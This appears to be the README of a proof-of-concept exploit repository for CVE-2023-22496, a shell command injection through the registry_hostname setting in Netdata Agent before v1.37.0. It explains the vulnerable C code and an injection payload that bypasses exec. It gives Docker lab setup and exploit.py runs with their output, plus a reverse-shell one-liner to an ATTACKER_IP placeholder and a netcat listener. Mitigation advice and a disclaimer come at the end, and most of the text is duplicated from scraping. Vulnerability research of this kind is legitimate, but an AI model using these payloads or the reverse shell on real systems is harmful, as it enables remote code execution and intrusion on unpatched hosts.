CVE-2023-22496 — Netdata Agent OS Command Injection PoC

Severity: Critical (CVSS 9.8)
Affected: Netdata Agent < 1.37.0
Fixed in: v1.37.0
Type: OS Command Injection (CWE-78)

Overview

CVE-2023-22496 is an OS command injection vulnerability in Netdata's health alarm notification system. The registry_hostname of any node in a streaming chain is inserted into a shell command without sanitisation. An attacker who can set registry hostname in a Netdata config file achieves remote code execution as the netdata process user on any parent node that processes the alarm.

Vulnerability Details

Vulnerable code — `health/health.c`

static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

spawn_enq_cmd passes the string to /bin/sh -c, which evaluates it as shell. Since registry_hostname is never sanitised, an attacker can inject arbitrary shell commands.

Bypass: `exec` process-replacement

The naive injection `'; cmd; '` doesn't work because the exec shell builtin replaces the current shell process, so the injected ;cmd; is never reached.

Working bypass — use & (background operator):

# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

Streaming Attack Chain

┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (attacker)  │          │  (relay)     │          │   (victim / target)  │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

The attacker only needs to control any node in the streaming chain. The registry_hostname is propagated in the stream protocol and used verbatim by every parent node when it calls health_alarm_execute.

Repository Structure

CVE-2023-22496-PoC/
├── Dockerfile              # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml     # 3-node vulnerable streaming environment
├── exploit.py              # Standalone exploit script
├── config/
│   ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│   ├── parent_stream.conf  # Parent accepts streams + evaluates health
│   ├── parent_guid         # Fixed node GUID
│   ├── middle_netdata.conf # Middle relay config
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Child sender config
│   ├── child_stream.conf
│   └── child_guid
└── README.md

Quick Start

Prerequisites

Docker ≥ 20.10
Docker Compose v2 (docker compose)
Python 3.8+
~500 MB disk (image build)
Internet access for the Docker build (downloads Netdata v1.36.1 source)

Step 1 — Build the vulnerable Docker image

git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

Step 2 — Start the 3-node vulnerable environment

docker compose up -d

Wait ~15 seconds for Netdata to initialise, then verify:

# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

Step 3 — Run the exploit

# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

Expected output:

======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

Reverse Shell Example

# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Custom Command

python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

Teardown

# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1

Mitigation

Action	Detail
Upgrade	Update Netdata Agent to ≥ v1.37.0
Restrict	Restrict write access to `netdata.conf`
Network	Isolate streaming ports (19999/tcp) to trusted networks only
Verify	`netdata --version` — confirm you are not on a pre-1.37 release

The fix in v1.37.0 sanitises registry_hostname by rejecting any characters outside [a-zA-Z0-9._-] before inserting it into the shell command.

References

Disclaimer

This repository is provided for educational and authorised security research purposes only. Running this PoC against systems you do not own or have explicit written permission to test is illegal. The authors assume no liability for misuse.

CVE-2023-22496 — Netdata Agent OS Command Injection PoC

Severity: Critical (CVSS 9.8)
Affected: Netdata Agent < 1.37.0
Fixed in: v1.37.0
Type: OS Command Injection (CWE-78)

Overview

Vulnerability Details

Vulnerable code — `health/health.c`

static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

spawn_enq_cmd passes the string to /bin/sh -c, which evaluates it as shell. Since registry_hostname is never sanitised, an attacker can inject arbitrary shell commands.

Bypass: `exec` process-replacement

The naive injection `'; cmd; '` doesn't work because the exec shell builtin replaces the current shell process, so the injected ;cmd; is never reached.

Working bypass — use & (background operator):

# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

Streaming Attack Chain

┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (attacker)  │          │  (relay)     │          │   (victim / target)  │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

Repository Structure

CVE-2023-22496-PoC/
├── Dockerfile              # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml     # 3-node vulnerable streaming environment
├── exploit.py              # Standalone exploit script
├── config/
│   ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│   ├── parent_stream.conf  # Parent accepts streams + evaluates health
│   ├── parent_guid         # Fixed node GUID
│   ├── middle_netdata.conf # Middle relay config
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Child sender config
│   ├── child_stream.conf
│   └── child_guid
└── README.md

Quick Start

Prerequisites

Docker ≥ 20.10
Docker Compose v2 (docker compose)
Python 3.8+
~500 MB disk (image build)
Internet access for the Docker build (downloads Netdata v1.36.1 source)

Step 1 — Build the vulnerable Docker image

git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

Step 2 — Start the 3-node vulnerable environment

docker compose up -d

Wait ~15 seconds for Netdata to initialise, then verify:

# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

Step 3 — Run the exploit

# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

Expected output:

======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

Reverse Shell Example

# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Custom Command

python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

Teardown

# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1

Mitigation

Action	Detail
Upgrade	Update Netdata Agent to ≥ v1.37.0
Restrict	Restrict write access to `netdata.conf`
Network	Isolate streaming ports (19999/tcp) to trusted networks only
Verify	`netdata --version` — confirm you are not on a pre-1.37 release

The fix in v1.37.0 sanitises registry_hostname by rejecting any characters outside [a-zA-Z0-9._-] before inserting it into the shell command.

CVE-2023-22496-PoC

Most Popular

CVE-2023-22496-PoC

Most Popular

CVE-2023-22496-PoC

Most Popular

CVE-2023-22496 — Netdata Agent OS Command Injection PoC

Overview

Vulnerability Details

Vulnerable code — health/health.c

Bypass: exec process-replacement

Streaming Attack Chain

Repository Structure

Quick Start

Prerequisites

Step 1 — Build the vulnerable Docker image

Step 2 — Start the 3-node vulnerable environment

Step 3 — Run the exploit

Reverse Shell Example

Custom Command

Teardown

Mitigation

References

Disclaimer

CVE-2023-22496-PoC

Most Popular

CVE-2023-22496 — Netdata Agent OS Command Injection PoC

Overview

Vulnerability Details

Vulnerable code — health/health.c

Bypass: exec process-replacement

Streaming Attack Chain

Repository Structure

Quick Start

Prerequisites

Step 1 — Build the vulnerable Docker image

Step 2 — Start the 3-node vulnerable environment

Step 3 — Run the exploit

Reverse Shell Example

Custom Command

Teardown

Mitigation

References

Disclaimer

Vulnerable code — `health/health.c`

Bypass: `exec` process-replacement

Vulnerable code — `health/health.c`

Bypass: `exec` process-replacement